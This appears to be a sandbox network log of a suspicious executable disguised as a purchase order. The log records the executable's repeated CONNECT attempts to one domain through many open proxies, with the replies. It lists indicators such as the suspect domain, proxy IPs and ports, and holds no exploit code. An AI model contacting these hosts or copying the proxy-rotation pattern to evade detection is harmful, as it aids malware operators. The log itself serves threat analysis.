Mar 11, 2024 16:39:49.356673002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.177047968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.286014080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.176995993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.989137888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.786104918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.473419905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.988871098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:26.785686016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1125	192.168.2.10	53387	47.76.163.115	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.358700037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.073247910 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1126	192.168.2.10	53309	46.209.54.110	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.385087967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.822102070 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 16:41:59.527839899 CET	202	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 835 Content-Type: text/html Date: Sat, 02 Mar 2024 04:49:06 GMT Expires: Sat, 02 Mar 2024 04:49:06 GMT Server: Mikrotik HttpProxy Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1127	192.168.2.10	53389	213.252.245.221	6116	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.391669035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:10.495596886 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1128	192.168.2.10	52996	103.173.139.222	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.395159960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.489123106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.489486933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.582878113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:13.598366976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1129	192.168.2.10	52760	137.184.122.223	8000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.403234959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.576387882 CET	32	IN	HTTP/1.0 504 Gateway Timeout

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1130	192.168.2.10	53302	31.148.207.153	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.443627119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1131	192.168.2.10	53458	5.61.33.234	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.443675995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1132	192.168.2.10	53459	116.203.28.43	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.444253922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.766427040 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1133	192.168.2.10	53464	188.166.17.18	8881	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.467794895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1134	192.168.2.10	52376	68.169.60.220	8380	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.468590021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1135	192.168.2.10	53052	181.57.194.28	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.468600035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1136	192.168.2.10	51609	43.255.113.232	8083	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.469505072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.823208094 CET	208	IN	HTTP/1.0 404 Not Found Server: HCS Date: Mon, 11 Mar 2024 18:27:12 GMT Content-Type: text/html Content-Length: 432 HCS-Error: ERR_FTP_NOT_FOUND 0 X-NGAA: MISS from CH-XW-NO1-315.3 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1137	192.168.2.10	53466	94.130.94.45	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.470613956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1138	192.168.2.10	51783	45.71.184.134	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.470839024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.153557062 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1139	192.168.2.10	51610	110.78.82.233	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.474983931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1140	192.168.2.10	51848	162.241.46.6	53477	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.486241102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.489222050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.489931107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.582879066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1141	192.168.2.10	51853	162.241.46.54	58330	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.486402988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.489247084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.489931107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.582870960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:13.598366022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:25.789654016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:37.785782099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:01.787586927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1142	192.168.2.10	53115	107.181.161.81	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.494616985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1143	192.168.2.10	53228	117.160.250.163	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.498099089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.231659889 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1144	192.168.2.10	53475	31.134.151.40	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.502551079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1145	192.168.2.10	53479	121.182.138.71	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.516928911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1146	192.168.2.10	53013	85.30.215.48	32946	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.529905081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.676687002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.677151918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.786166906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:13.785705090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
